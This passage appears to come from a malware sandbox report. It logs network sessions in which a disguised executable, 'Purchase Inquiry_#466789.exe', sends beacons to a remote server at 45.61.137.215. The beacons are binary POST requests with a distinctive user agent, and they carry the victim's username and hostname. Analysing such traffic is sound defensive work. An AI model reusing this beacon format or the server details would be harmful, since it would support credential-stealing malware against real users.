May 27, 2024 08:33:21.908513069 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:33:21.913496017 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:33:23.993746996 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:33:22 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:33:23.993802071 CEST	224	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessio
May 27, 2024 08:33:23.993813992 CEST	1236	IN	Data Raw: 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 Data Ascii: nStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.wid
May 27, 2024 08:33:23.993820906 CEST	1236	IN	Data Raw: 22 73 63 72 69 70 74 22 29 3b 74 2e 73 72 63 3d 65 2c 74 2e 64 65 66 65 72 3d 21 30 2c 69 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 7d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f Data Ascii: "script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",
May 27, 2024 08:33:23.993827105 CEST	1236	IN	Data Raw: 65 70 74 46 6c 61 67 26 26 21 6e 2e 73 75 70 70 6f 72 74 73 2e 66 6c 61 67 2c 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 6e 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 7d Data Ascii: eptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything\|\|(n.readyCallback(),(e=n.source\|\|{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&
May 27, 2024 08:33:23.993851900 CEST	672	IN	Data Raw: 69 64 3d 27 67 6c 6f 62 61 6c 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 62 6f 64 79 7b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 3a 20 23 30 Data Ascii: id='global-styles-inline-css' type='text/css'>body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red:
May 27, 2024 08:33:23.993868113 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:33:23.993936062 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:33:23.993947983 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:33:23.994159937 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49775	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:33:24.224994898 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:33:24.229907036 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:33:26.421930075 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:33:24 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:33:26.421999931 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:33:26.422049046 CEST	1236	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:33:26.422080040 CEST	672	IN	Data Raw: 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 Data Ascii: upports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.support
May 27, 2024 08:33:26.422142029 CEST	1236	IN	Data Raw: 72 74 61 6e 74 3b 0a 09 09 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 68 65 69 67 68 74 3a 20 31 65 6d 20 21 69 6d Data Ascii: rtant;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 0.07em !important;vertical-align: -0.1em !important;background: none !important;padding: 0 !important;}
May 27, 2024 08:33:26.422187090 CEST	224	IN	Data Raw: 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 63 79 61 6e 2d 62 6c 75 65 3a 20 23 38 65 64 31 66 63 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 3a Data Ascii: --wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147
May 27, 2024 08:33:26.422233105 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:33:26.422286987 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:33:26.422333956 CEST	1236	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:33:26.422384024 CEST	1236	IN	Data Raw: 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b Data Ascii: ar(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49776	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:33:28.312062979 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:33:28.317111969 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:33:30.431902885 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:33:28 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:33:30.431971073 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:33:30.432019949 CEST	1236	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:33:30.432066917 CEST	1236	IN	Data Raw: 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 Data Ascii: upports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.support
May 27, 2024 08:33:30.432113886 CEST	1236	IN	Data Raw: 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e Data Ascii: r:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-i
May 27, 2024 08:33:30.432158947 CEST	1236	IN	Data Raw: 6e 67 65 2d 74 6f 2d 76 69 76 69 64 2d 72 65 64 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 61 28 32 35 35 2c 31 30 35 2c 30 2c 31 29 20 30 25 2c 72 67 62 28 32 30 37 2c 34 36 2c 34 36 29 20 31 30 30 25 29 Data Ascii: nge-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-w
May 27, 2024 08:33:30.432204962 CEST	1236	IN	Data Raw: 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 32 30 3a 20 30 2e 34 34 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 33 30 3a 20 30 2e 36 37 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 Data Ascii: -preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--p
May 27, 2024 08:33:30.432250023 CEST	1236	IN	Data Raw: 77 68 69 74 65 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 77 68 69 74 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 70 69 6e 6b 2d 63 6f 6c 6f Data Ascii: white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-c
May 27, 2024 08:33:30.432296991 CEST	1236	IN	Data Raw: 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 Data Ascii: t;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-
